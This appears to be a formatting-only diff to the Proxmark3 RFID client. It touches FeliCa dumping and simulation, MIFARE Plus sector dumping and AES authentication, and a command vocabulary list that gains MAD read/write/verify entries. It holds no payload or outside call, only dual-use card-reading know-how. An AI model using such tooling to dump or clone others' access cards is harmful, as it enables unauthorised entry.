@@ -4336,7 +4336,7 @@ static int felica_dump_collect_key_versions_v1(felica_dump_system_t *system, uin
size_t returned_nodes = 0;
int ret = felica_request_service_key_versions(flags, system->idm, batch_codes, batch_count,
retry_count, key_versions, &returned_nodes);
retry_count, key_versions, &returned_nodes);
if (ret != PM3_SUCCESS) {
return ret;
}
@@ -4772,7 +4772,7 @@ static int CmdHFFelicaAuthentication1(const char *Cmd) {
PrintAndLogEx(ERR, "response code does not match");
return PM3_ERFTRANS;
}
PrintAndLogEx(SUCCESS, "Auth1 response:");
PrintAndLogEx(SUCCESS, "IDm... %s", sprint_hex(auth1_response.frame_response.IDm, sizeof(auth1_response.frame_response.IDm)));
PrintAndLogEx(SUCCESS, "M2C... %s", sprint_hex(auth1_response.m2c, sizeof(auth1_response.m2c)));
@@ -5646,7 +5646,7 @@ static int CmdHFFelicaDump(const char *Cmd) {
uint32_t public_service_count = 0;
felica_dump_system_t *dump_system = &dump_systems[dump_system_count];
const int ret = felica_dump_single_system(&discovered_systems.systems[i], dump_system,
retry_count, &discovered_nodes, &service_count, &public_service_count);
retry_count, &discovered_nodes, &service_count, &public_service_count);
if (ret == PM3_EOPABORTED) {
DropField();
@@ -6840,7 +6840,7 @@ static int CmdHFFelicaSim(const char *Cmd) {
arg_param_begin,
arg_str1("f", "file", "<fn>", "JSON dump file"),
arg_str0(NULL, "read-without-encryption-error-location-indication",
"<mask|index|flag>", "Read Without Encryption error location indication (default: mask)"),
"<mask|index|flag>", "Read Without Encryption error location indication (default: mask)"),
arg_lit0("v", "verbose", "verbose output"),
arg_param_end
};
+1 -1
View File
@@ -8564,7 +8564,7 @@ static int CmdHF14AMfView(const char *Cmd) {
}
const mad1_sector_t *vigik_s0 = (bytes_read >= sizeof(mad1_sector_t))
? (const mad1_sector_t *)dump : NULL;
? (const mad1_sector_t *)dump : NULL;
int sector = vigik_s0 ? DetectHID(vigik_s0, 0x4910) : -1;
if (sector > -1) {
+28 -27
View File
@@ -845,9 +845,9 @@ int mfp_data_crypt(mf4Session_t *mf4session, uint8_t *dati, uint8_t *dato, bool
}
if (rev) {
aes_decode(IV, kenc, dati, dato, MFBLOCK_SIZE*bc);
aes_decode(IV, kenc, dati, dato, MFBLOCK_SIZE * bc);
} else {
aes_encode(IV, kenc, dati, dato, MFBLOCK_SIZE*bc);
aes_encode(IV, kenc, dati, dato, MFBLOCK_SIZE * bc);
}
return PM3_SUCCESS;
@@ -2245,10 +2245,10 @@ static int CmdHFMFPDump(const char *Cmd) {
int STRead;
uint8_t mac[8] = {0};
chunkCycle:
ki_pA[1] = sl3Count*2;
ki_pA[1] = sl3Count * 2;
MifareAuth4(&_session, ki_pA, &aesFoundKeys[MF_KEY_A][sl3Count][1], nonfirst, !nonfirst, true, true, verbose, false);
nonfirst = true;
MFPReadBlock(&_session, false, false, true, 3+sl3Count*4, 1, false, true, STBuffer, sizeof(STBuffer), &STRead, mac);
MFPReadBlock(&_session, false, false, true, 3 + sl3Count * 4, 1, false, true, STBuffer, sizeof(STBuffer), &STRead, mac);
if (STRead && STBuffer[0] != 0x90) {
PrintAndLogEx(ERR, "\nTrailer read error: %02x %s", STBuffer[0], mfpGetErrorDescription(STBuffer[0]));
goto chunkBlank;
@@ -2258,17 +2258,17 @@ chunkCycle:
}
mfp_data_crypt(&_session, &STBuffer[1], &STBuffer[1], true, 1);
// Multiblock reads do not allow reading out STs, as such this is the time to save them into the final dump
memcpy(carddata + ((3+4*sl3Count) * MFBLOCK_SIZE), &STBuffer[1], 1 * MFBLOCK_SIZE);
memcpy(carddata + ((3 + 4 * sl3Count) * MFBLOCK_SIZE), &STBuffer[1], 1 * MFBLOCK_SIZE);
// Check if any block is encrypted only
ki_pB[1] = 0x01+sl3Count*2;
ki_pB[1] = 0x01+sl3Count * 2;
MifareAuth4(&_session, ki_pB, &aesFoundKeys[MF_KEY_B][sl3Count][1], true, false, true, true, verbose, false);
if (STBuffer[6] & 0xF0) { // At least one bit is set to force enc. only
MFPReadBlock(&_session, false, false, true, sl3Count*4, 3, false, true, STBuffer, sizeof(STBuffer), &STRead, mac);
MFPReadBlock(&_session, false, false, true, sl3Count * 4, 3, false, true, STBuffer, sizeof(STBuffer), &STRead, mac);
if (STRead && STBuffer[0] != 0x90) {
chunkBlank:
PrintAndLogEx(ERR, "\nChunk read error: %02x %s", STBuffer[0], mfpGetErrorDescription(STBuffer[0]));
memcpy(carddata + (sl3Count * 4 * MFBLOCK_SIZE), nullChunk, 3 * MFBLOCK_SIZE);
memcpy(carddata + ((3+4*sl3Count) * MFBLOCK_SIZE), nullBlock, 1 * MFBLOCK_SIZE);
memcpy(carddata + ((3 + 4 * sl3Count) * MFBLOCK_SIZE), nullBlock, 1 * MFBLOCK_SIZE);
PrintAndLogEx(WARNING, "Quick-reading sector %3d / %3d ( " _RED_("fail") " )", sl3Count, numSectors - 1);
// Restart auth since a read failure resets it
nonfirst = false;
@@ -2286,7 +2286,7 @@ chunkBlank:
sectorsRead++;
sl3Count++;
} else {
MFPReadBlock(&_session, true, false, true, sl3Count*4, 3, false, true, STBuffer, sizeof(STBuffer), &STRead, mac);
MFPReadBlock(&_session, true, false, true, sl3Count * 4, 3, false, true, STBuffer, sizeof(STBuffer), &STRead, mac);
if (STRead && STBuffer[0] != 0x90) {
PrintAndLogEx(ERR, "Chunk read error: %02x %s", STBuffer[0], mfpGetErrorDescription(STBuffer[0]));
memcpy(carddata + (sl3Count * 4 * MFBLOCK_SIZE), nullChunk, 3 * MFBLOCK_SIZE);
@@ -2309,12 +2309,12 @@ chunkCycleClean:
if (numSectors>32){
if (numSectors > 32) {
chunkCycle2:
ki_pA[1] = sl3Count*2;
ki_pA[1] = sl3Count * 2;
MifareAuth4(&_session, ki_pA, &aesFoundKeys[MF_KEY_A][sl3Count][1], nonfirst, !nonfirst, true, true, verbose, false);
nonfirst = true;
MFPReadBlock(&_session, false, false, true, 128+(sl3Count-31)*16-1, 1, false, true, STBuffer, sizeof(STBuffer), &STRead, mac);
MFPReadBlock(&_session, false, false, true, 128 + (sl3Count - 31) * 16 - 1, 1, false, true, STBuffer, sizeof(STBuffer), &STRead, mac);
if (STRead && STBuffer[0] != 0x90) {
PrintAndLogEx(ERR, "Trailer read error: %02x %s", STBuffer[0], mfpGetErrorDescription(STBuffer[0]));
goto chunkBlank2;
@@ -2325,22 +2325,23 @@ chunkCycle2:
}
mfp_data_crypt(&_session, &STBuffer[1], &STBuffer[1], true, 1);
// Multiblock reads do not allow reading out STs, as such this is the time to save them into the final dump
memcpy(carddata + ((128+(sl3Count-31)*16-1) * MFBLOCK_SIZE), &STBuffer[1], 1 * MFBLOCK_SIZE);
memcpy(carddata + ((128 + (sl3Count - 31) * 16 - 1) * MFBLOCK_SIZE), &STBuffer[1], 1 * MFBLOCK_SIZE);
int c = 0;
// Check if any block is encrypted only
ki_pB[1] = 0x01+sl3Count*2;
ki_pB[1] = 0x01+sl3Count * 2;
MifareAuth4(&_session, ki_pB, &aesFoundKeys[MF_KEY_B][sl3Count][1], true, false, true, true, verbose, false);
if (STBuffer[6] & 0xF0) { // At least one bit is set to force enc. only
chunkBlank2: // Jumping here will start the cycle which will blank out the remaining 5 chunks anyway
for (c=0; c<5; ++c) {
MFPReadBlock(&_session, false, false, true, 128+(sl3Count-32)*16+c*3, 3, false, true, STBuffer, sizeof(STBuffer), &STRead, mac);
for (c = 0; c < 5; ++c) {
MFPReadBlock(&_session, false, false, true, 128 + (sl3Count - 32) * 16 + c * 3, 3, false, true, STBuffer, sizeof(STBuffer), &STRead, mac);
if (STRead && STBuffer[0] != 0x90) {
PrintAndLogEx(ERR, "Chunk read error: %02x %s", STBuffer[0], mfpGetErrorDescription(STBuffer[0]));
PrintAndLogEx(WARNING, "Quick-reading sector %3d / %3d chunk %d ( " _RED_("fail") " )", sl3Count, numSectors - 1, c);
memcpy(carddata + ((128+(sl3Count-31)*16-1) * MFBLOCK_SIZE), nullBlock, 1 * MFBLOCK_SIZE);
memcpy(carddata + ((128 + 16*(sl3Count-32)+c*3) * MFBLOCK_SIZE), nullChunk, 3 * MFBLOCK_SIZE);
memcpy(carddata + ((128 + (sl3Count - 31) * 16 - 1) * MFBLOCK_SIZE), nullBlock, 1 * MFBLOCK_SIZE);
memcpy(carddata + ((128 + 16 * (sl3Count - 32) + c * 3) * MFBLOCK_SIZE), nullChunk, 3 * MFBLOCK_SIZE);
nonfirst = false;
if (c<5) {continue;} else {sl3Count++; goto chunkCycleClean2;};
if (c < 5) {continue;}
else {sl3Count++; goto chunkCycleClean2;};
}
if (STRead != 1 + 48 + 2) {
PrintAndLogEx(ERR, "Error return length: %d", STRead);
@@ -2349,16 +2350,16 @@ chunkBlank2: // Jumping here will start the cycle which will blank out the remai
}
mfp_data_crypt(&_session, &STBuffer[1], &STBuffer[1], true, 3);
PrintAndLogEx(INPLACE, "Quick-reading sector %3d / %3d ( " _GREEN_("ok") " )", sl3Count, numSectors - 1);
memcpy(carddata + ((128 + 16*(sl3Count-32)+c*3) * MFBLOCK_SIZE), &STBuffer[1], 3 * MFBLOCK_SIZE);
memcpy(carddata + ((128 + 16 * (sl3Count - 32) + c * 3) * MFBLOCK_SIZE), &STBuffer[1], 3 * MFBLOCK_SIZE);
}
sectorsRead++;
sl3Count++;
} else {
for (c=0; c<5; ++c) {
MFPReadBlock(&_session, true, false, true, 128+(sl3Count-32)*16+c*3, 3, false, true, STBuffer, sizeof(STBuffer), &STRead, mac);
for (c = 0; c < 5; ++c) {
MFPReadBlock(&_session, true, false, true, 128 + (sl3Count - 32) * 16 + c * 3, 3, false, true, STBuffer, sizeof(STBuffer), &STRead, mac);
if (STRead && STBuffer[0] != 0x90) {
PrintAndLogEx(ERR, "Chunk read error: %02x %s", STBuffer[0], mfpGetErrorDescription(STBuffer[0]));
memcpy(carddata + ((128 + 16*(sl3Count-32)+c*3) * MFBLOCK_SIZE), nullChunk, 3 * MFBLOCK_SIZE);
memcpy(carddata + ((128 + 16 * (sl3Count - 32) + c * 3) * MFBLOCK_SIZE), nullChunk, 3 * MFBLOCK_SIZE);
PrintAndLogEx(WARNING, "Quick-reading sector %3d / %3d ( " _RED_("fail") " )", sl3Count, numSectors - 1);
continue;
}
@@ -2368,8 +2369,8 @@ chunkBlank2: // Jumping here will start the cycle which will blank out the remai
return PM3_ESOFT;
}
PrintAndLogEx(INPLACE, "Quick-reading sector %3d / %3d ( " _GREEN_("ok") " )", sl3Count, numSectors - 1);
memcpy(carddata + ((128 + 16*(sl3Count-32)+c*3) * MFBLOCK_SIZE), &STBuffer[1], 3 * MFBLOCK_SIZE);
memcpy(carddata + ((128 + 16 * (sl3Count - 32) + c * 3) * MFBLOCK_SIZE), &STBuffer[1], 3 * MFBLOCK_SIZE);
}
sectorsRead++;
sl3Count++;
@@ -2446,7 +2447,7 @@ chunkCycleClean2:
DropField();
t1 = msclock() - t1;
// ========================================
// Print sector summary
// ========================================
@@ -2547,7 +2548,7 @@ chunkCycleClean2:
PrintAndLogEx(HINT, "Partial dump: %d of %d sectors read", sectorsRead, numSectors);
PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf mfp chk --dump`") " and/or " _YELLOW_("`hf mf chk`") " to find more keys");
}
PrintAndLogEx(INFO, "\ntime in dump " _YELLOW_("%.0f") " seconds\n", (float)t1 / 1000.0);
free(carddata);
return PM3_SUCCESS;
+1 -1
View File
@@ -458,7 +458,7 @@ static int CmdCOTAGReader(const char *Cmd) {
CLIParserInit(&ctx, "lf cotag reader",
"Read a COTAG tag.\n"
" - use " _YELLOW_("`lf config`") _CYAN_(" to set parameters except divisor "
"(which is assumed " STR(LF_COTAG_DIVISOR) " for cotag. Use --divisor to override).\n")
"(which is assumed " STR(LF_COTAG_DIVISOR) " for cotag. Use --divisor to override).\n")
_CYAN_(" - use ") _YELLOW_("`data plot`") _CYAN_(" to look at it.\n")
_CYAN_(" - use ") _YELLOW_("`lf cotag demod`") _CYAN_(" to try to demodulate it.\n")
_CYAN_("If the number of samples is more than the device memory limit (40000 now), ")
+6 -2
View File
@@ -98,7 +98,9 @@ static uint8_t g_mock_card[MOCK_CARD_SIZE];
static int mock_read_sector(uint8_t sector_no, uint8_t key_type,
const uint8_t *key, uint8_t *buf, bool verbose) {
(void)key_type; (void)key; (void)verbose;
(void)key_type;
(void)key;
(void)verbose;
uint8_t first_block = mfFirstBlockOfSector(sector_no);
uint8_t nblocks = mfNumBlocksPerSector(sector_no);
uint32_t offset = first_block * 16;
@@ -111,7 +113,9 @@ static int mock_read_sector(uint8_t sector_no, uint8_t key_type,
static int mock_write_sector_data(uint8_t sector_no, uint8_t key_type,
const uint8_t *key, const uint8_t *data, bool verbose) {
(void)key_type; (void)key; (void)verbose;
(void)key_type;
(void)key;
(void)verbose;
uint8_t first_block = mfFirstBlockOfSector(sector_no);
uint8_t ndata = mfNumBlocksPerSector(sector_no) - 1;
uint32_t offset = first_block * 16;
+6 -4
View File
@@ -224,7 +224,8 @@ int MifareAuth4(mf4Session_t *mf4session, const uint8_t *keyn, uint8_t *key, boo
}
uint8_t cmd1[4];
if (nonfirst) { cmd1[0] = 0x76; cmd1[1] = keyn[1]; cmd1[2] = keyn[0]; } else { cmd1[0] = 0x70; cmd1[1] = keyn[1]; cmd1[2] = keyn[0]; cmd1[3] = 0x00; }
if (nonfirst) { cmd1[0] = 0x76; cmd1[1] = keyn[1]; cmd1[2] = keyn[0]; }
else { cmd1[0] = 0x70; cmd1[1] = keyn[1]; cmd1[2] = keyn[0]; cmd1[3] = 0x00; }
int res = ExchangeRAW14a(cmd1, nonfirst ? 3 : 4, activateField, true, data, sizeof(data), &datalen, silentMode);
if (res != PM3_SUCCESS) {
@@ -307,7 +308,7 @@ int MifareAuth4(mf4Session_t *mf4session, const uint8_t *keyn, uint8_t *key, boo
memcpy(&IVW[12], &mf4session->R_Ctr, 2);
memcpy(&IVW[14], &mf4session->W_Ctr, 2);
memcpy(IVW, mf4session->TI, 4);
aes_decode(IVR, key, &data[1], RndB, 16);
RndB[16] = RndB[0];
if (verbose) {
@@ -353,7 +354,7 @@ int MifareAuth4(mf4Session_t *mf4session, const uint8_t *keyn, uint8_t *key, boo
PrintAndLogEx(INFO, "< phase2: %s", sprint_hex(data, datalen));
}
if (data[0]!=0x90) {
if (data[0] != 0x90) {
if (silentMode == false) {
PrintAndLogEx(ERR, "\nAuthentication FAILED. Card did not ACK response");
}
@@ -364,7 +365,8 @@ int MifareAuth4(mf4Session_t *mf4session, const uint8_t *keyn, uint8_t *key, boo
return PM3_EWRONGANSWER;
}
if (nonfirst) { aes_decode(IVR, key, &data[1], raw, 16); } else { aes_decode(NULL, key, &data[1], raw, 32); }
if (nonfirst) { aes_decode(IVR, key, &data[1], raw, 16); }
else { aes_decode(NULL, key, &data[1], raw, 32); }
if (verbose) {
if (nonfirst) {
+13
View File
@@ -431,6 +431,9 @@ const static vocabulary_t vocabulary[] = {
{ 0, "hf mf info" },
{ 0, "hf mf isen" },
{ 1, "hf mf mad" },
{ 0, "hf mf madread" },
{ 0, "hf mf madwrite" },
{ 0, "hf mf madverify" },
{ 0, "hf mf personalize" },
{ 0, "hf mf rdbl" },
{ 0, "hf mf rdsc" },
@@ -484,6 +487,9 @@ const static vocabulary_t vocabulary[] = {
{ 0, "hf mfp dump" },
{ 0, "hf mfp info" },
{ 0, "hf mfp mad" },
{ 0, "hf mfp madread" },
{ 0, "hf mfp madwrite" },
{ 0, "hf mfp madverify" },
{ 0, "hf mfp rdbl" },
{ 0, "hf mfp rdsc" },
{ 0, "hf mfp wrbl" },
@@ -916,6 +922,13 @@ const static vocabulary_t vocabulary[] = {
{ 0, "lf visa2000 reader" },
{ 0, "lf visa2000 clone" },
{ 0, "lf visa2000 sim" },
{ 0, "mad read" },
{ 0, "mad write" },
{ 0, "mad verify" },
{ 1, "mad help" },
{ 1, "mad decode" },
{ 1, "mad encode" },
{ 1, "mad test" },
{ 1, "mem help" },
{ 0, "mem baudrate" },
{ 0, "mem dump" },